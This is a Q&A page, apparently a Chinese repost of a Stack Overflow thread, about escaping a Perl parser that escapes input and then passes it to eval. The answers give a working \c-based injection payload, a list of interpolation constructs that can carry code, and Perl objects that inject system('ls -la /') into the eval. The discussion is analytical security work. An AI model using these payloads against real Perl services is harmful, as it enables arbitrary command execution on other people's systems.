Perl越狱

如何解决Perl越狱

给定以下 Perl 代码,如果他们控制 $foo,如何获得代码执行?

sub Parse($)
{
    my $dataPt = shift;
    my (@toks,$tok,$more);
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            $tok = Parse($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt,$pos,pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                print("here\n");
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols,and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace,braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks,$tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

$foo = '(test(foo "bar"))';
$ref = \$foo;
ParseAnt $ref;

我相信有一种方法可以强制解析函数在由 eval 处理之前在 $tok 变量中包含一个未转义的双引号,但我没有成功这样做。

我无法提供更多信息,因为此代码片段用于生产。


编辑

由于对问题的(善意的)更改碰巧使早期答案无效,因此我添加了此注释以及为读者提供方便的原始版本(无论如何都可以在修订版中看到)---

这个问题的原始版本:

给定以下 Perl 代码,如果他们控制 $str,如何获得代码执行?

my $str = "malicious payload";
        
die if $str =~ /"/;
$str =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
eval qq{"$str"};

解决方法

您可以利用 \c 来处理插入的转义字符。

\c${ print qq{0wn3d\n}; \'' }

关键代码是

$str =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;

这个答案重点关注这一点,因为这是最初提供的全部内容。


注入代码有两种方式:

  • 关闭字符串文字。

    这将需要输入中的文字 ",或者由验证器生成。

  • 使用允许嵌入代码的结构。

    这些是:

    • $BLOCK
    • @BLOCK
    • $NAME[ EXPR ]$NAME->[ EXPR ]$BLOCK[ EXPR ]$$NAME[ EXPR ]
    • @NAME[ EXPR ]$NAME->@[ EXPR ]@BLOCK[ EXPR ]@$NAME[ EXPR ]
    • $NAME{ EXPR }$NAME->{ EXPR }$BLOCK{ EXPR }$$NAME{ EXPR }
    • @NAME{ EXPR }$NAME->@{ EXPR }@BLOCK{ EXPR }@$NAME{ EXPR }

    EXPRBLOCK 都可以包含可执行代码。

    有多种方法可以将这些序列转化为字符串。

    • 欺骗验证者认为某些东西已经逃脱了。
    • 导致逃跑被视为其他事情。
    • 欺骗验证器转义已经转义序列的内容。
    • 通过从中间删除字符。
    • 以某种方式利用 $$$\

该代码段的目的是像 Perl 一样处理 \ 转义符。[1]我们可以利用 \c 来处理转义符。 \c 吃掉下一个字符,因此我们可以在 $ 之前使用每个验证器尝试转义 $

\c${ print qq{0wn3d\n}; \'' }

变成

"\c\${ print qq{0wn3d\n}; \'' }"

这意味着

do { print qq{0wn3d\n}; chr(0x1C) }

感谢@bananabr 找到\c


  1. 这本身肯定是一个错误。为您的语言的转义编写一个解析器。
,
{   package Jail::Breaker;
    use overload
        '""' => sub {
            my ($self) = @_;
            if ($self->[0]++ < 1) {
                return $self->[1]
            } else {
                return qq(";system '$self->[1]';")
            }
        },fallback => 1;
    sub new {
        my ($class,$string) = @_;
        bless [0,$string],$class
    }
}

my $str = 'Jail::Breaker'->new('ls -la /');
die 'invalid' if $str =~ /"/;
$str =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
eval qq{"$str"};

或者,类似地,

{   package Jail::Breaker;
    use Tie::Scalar;
    use parent -norequire => 'Tie::StdScalar';
    my $fetched;
    sub FETCH {
        my ($self) = @_;
        if ($fetched++) {
            return qq(";system'$$self';")
        } else {
            return $$self
        }
    }
}
tie my $str,'Jail::Breaker','ls -la /';
...

这两种解决方案都使用一个对象,该对象在第一次读取时返回其他内容,稍后读取时返回“evil”字符串。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


Selenium Web驱动程序和Java。元素在(x,y)点处不可单击。其他元素将获得点击?
Python-如何使用点“。” 访问字典成员?
Java 字符串是不可变的。到底是什么意思?
Java中的“ final”关键字如何工作?(我仍然可以修改对象。)
“loop:”在Java代码中。这是什么,为什么要编译?
java.lang.ClassNotFoundException:sun.jdbc.odbc.JdbcOdbcDriver发生异常。为什么?
这是用Java进行XML解析的最佳库。
Java的PriorityQueue的内置迭代器不会以任何特定顺序遍历数据结构。为什么?
如何在Java中聆听按键时移动图像。
Java“Program to an interface”。这是什么意思?
Java在半透明框架/面板/组件上重新绘画。
Java“ Class.forName()”和“ Class.forName()。newInstance()”之间有什么区别?
在此环境中不提供编译器。也许是在JRE而不是JDK上运行?
Java用相同的方法在一个类中实现两个接口。哪种接口方法被覆盖?
Java 什么是Runtime.getRuntime()。totalMemory()和freeMemory()?
java.library.path中的java.lang.UnsatisfiedLinkError否*****。dll
JavaFX“位置是必需的。” 即使在同一包装中
Java 导入两个具有相同名称的类。怎么处理?
Java 是否应该在HttpServletResponse.getOutputStream()/。getWriter()上调用.close()?
Java RegEx元字符(。)和普通点?